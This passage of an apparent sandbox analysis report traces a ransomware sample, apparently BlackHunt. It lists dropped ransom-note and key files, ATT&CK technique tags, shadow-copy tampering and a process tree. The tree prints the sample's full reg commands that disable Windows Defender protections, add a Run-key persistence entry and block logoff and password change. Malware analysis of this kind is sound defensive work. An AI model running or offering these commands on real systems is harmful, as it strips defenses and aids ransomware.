File created	C:\Program Files\VideoLAN\VLC\locale\ja\#BlackHunt_Private.key	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Oslo	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#BlackHunt_Private.key	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_Private.key	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ext_5.5.0.165303.jar	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\macTSFrame.png	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core_ja.jar	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-snaptracer.jar	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\#BlackHunt_ReadMe.hta	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\DVD Maker\#BlackHunt_Private.key	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\push_item.png	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\#BlackHunt_Private.key	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\#BlackHunt_ReadMe.txt	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Helsinki	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ru\#BlackHunt_ReadMe.txt	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423861261279.profile.gz	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jre7\lib\ext\localedata.jar	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jre7\lib\psfontj2d.properties	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Tucuman	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\#BlackHunt_ReadMe.txt	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-14	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerConstraints.exsd	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-editor-mimelookup.xml	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\#BlackHunt_ReadMe.txt	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Chatham	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\#BlackHunt_ReadMe.hta	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\#BlackHunt_ReadMe.txt	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.filesystem_1.4.100.v20140514-1614.jar	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.intro_3.4.200.v20130326-1254.jar	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tr\#BlackHunt_ReadMe.txt	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\#BlackHunt_Private.key	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fa.txt	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\sunec.jar	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\#BlackHunt_Private.key	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui.ja_5.5.0.165303.jar	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-util-enumerations_zh_CN.jar	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Hebron	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\access\#BlackHunt_ReadMe.hta	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\feature.xml	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2968	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2460	vssadmin.exe
2276	vssadmin.exe
992	vssadmin.exe
2608	vssadmin.exe
1408	vssadmin.exe
2844	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2224	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	fsutil.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	fsutil.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	fsutil.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	fsutil.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2616	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2400	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
Token: SeRestorePrivilege	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
Token: SeBackupPrivilege	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
Token: SeTakeOwnershipPrivilege	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
Token: SeAuditPrivilege	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
Token: SeSecurityPrivilege	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
Token: SeIncBasePriorityPrivilege	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
Token: SeBackupPrivilege	2684	vssvc.exe
Token: SeRestorePrivilege	2684	vssvc.exe
Token: SeAuditPrivilege	2684	vssvc.exe
Token: SeBackupPrivilege	2772	wbengine.exe
Token: SeRestorePrivilege	2772	wbengine.exe
Token: SeSecurityPrivilege	2772	wbengine.exe
Token: SeSecurityPrivilege	2220	wevtutil.exe
Token: SeBackupPrivilege	2220	wevtutil.exe
Token: SeSecurityPrivilege	1632	wevtutil.exe
Token: SeBackupPrivilege	1632	wevtutil.exe
Token: SeSecurityPrivilege	2164	wevtutil.exe
Token: SeBackupPrivilege	2164	wevtutil.exe
Token: SeSecurityPrivilege	3036	wevtutil.exe
Token: SeBackupPrivilege	3036	wevtutil.exe
Token: SeSecurityPrivilege	564	wevtutil.exe
Token: SeBackupPrivilege	564	wevtutil.exe
Token: SeDebugPrivilege	2224	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 2384	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	29
PID 1992 wrote to memory of 2384	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	29
PID 1992 wrote to memory of 2384	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	29
PID 1992 wrote to memory of 2384	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	29
PID 1992 wrote to memory of 2700	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	31
PID 1992 wrote to memory of 2700	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	31
PID 1992 wrote to memory of 2700	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	31
PID 1992 wrote to memory of 2700	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	31
PID 1992 wrote to memory of 2816	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	33
PID 1992 wrote to memory of 2816	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	33
PID 1992 wrote to memory of 2816	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	33
PID 1992 wrote to memory of 2816	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	33
PID 2384 wrote to memory of 2848	2384	cmd.exe	35
PID 2384 wrote to memory of 2848	2384	cmd.exe	35
PID 2384 wrote to memory of 2848	2384	cmd.exe	35
PID 1992 wrote to memory of 2872	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	36
PID 1992 wrote to memory of 2872	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	36
PID 1992 wrote to memory of 2872	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	36
PID 1992 wrote to memory of 2872	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	36
PID 2700 wrote to memory of 2716	2700	cmd.exe	144
PID 2700 wrote to memory of 2716	2700	cmd.exe	144
PID 2700 wrote to memory of 2716	2700	cmd.exe	144
PID 1992 wrote to memory of 2684	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	139
PID 1992 wrote to memory of 2684	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	139
PID 1992 wrote to memory of 2684	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	139
PID 1992 wrote to memory of 2684	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	139
PID 1992 wrote to memory of 2876	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	40
PID 1992 wrote to memory of 2876	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	40
PID 1992 wrote to memory of 2876	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	40
PID 1992 wrote to memory of 2876	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	40
PID 1992 wrote to memory of 2860	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	43
PID 1992 wrote to memory of 2860	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	43
PID 1992 wrote to memory of 2860	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	43
PID 1992 wrote to memory of 2860	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	43
PID 1992 wrote to memory of 1864	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	44
PID 1992 wrote to memory of 1864	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	44
PID 1992 wrote to memory of 1864	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	44
PID 1992 wrote to memory of 1864	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	44
PID 2816 wrote to memory of 2924	2816	cmd.exe	146
PID 2816 wrote to memory of 2924	2816	cmd.exe	146
PID 2816 wrote to memory of 2924	2816	cmd.exe	146
PID 1992 wrote to memory of 2732	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	47
PID 1992 wrote to memory of 2732	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	47
PID 1992 wrote to memory of 2732	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	47
PID 1992 wrote to memory of 2732	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	47
PID 1992 wrote to memory of 2724	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	49
PID 1992 wrote to memory of 2724	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	49
PID 1992 wrote to memory of 2724	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	49
PID 1992 wrote to memory of 2724	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	49
PID 1992 wrote to memory of 2672	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	50
PID 1992 wrote to memory of 2672	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	50
PID 1992 wrote to memory of 2672	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	50
PID 1992 wrote to memory of 2672	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	50
PID 2876 wrote to memory of 2560	2876	cmd.exe	52
PID 2876 wrote to memory of 2560	2876	cmd.exe	52
PID 2876 wrote to memory of 2560	2876	cmd.exe	52
PID 1992 wrote to memory of 2556	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	53
PID 1992 wrote to memory of 2556	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	53
PID 1992 wrote to memory of 2556	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	53
PID 1992 wrote to memory of 2556	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	53
PID 1992 wrote to memory of 2576	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	56
PID 1992 wrote to memory of 2576	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	56
PID 1992 wrote to memory of 2576	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	56
PID 1992 wrote to memory of 2576	1992	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe	56

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe
"C:\Users\Admin\AppData\Local\Temp\f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:2716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:2924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:1864
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3048
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2932
- C:\Windows\System32\cmd.exe
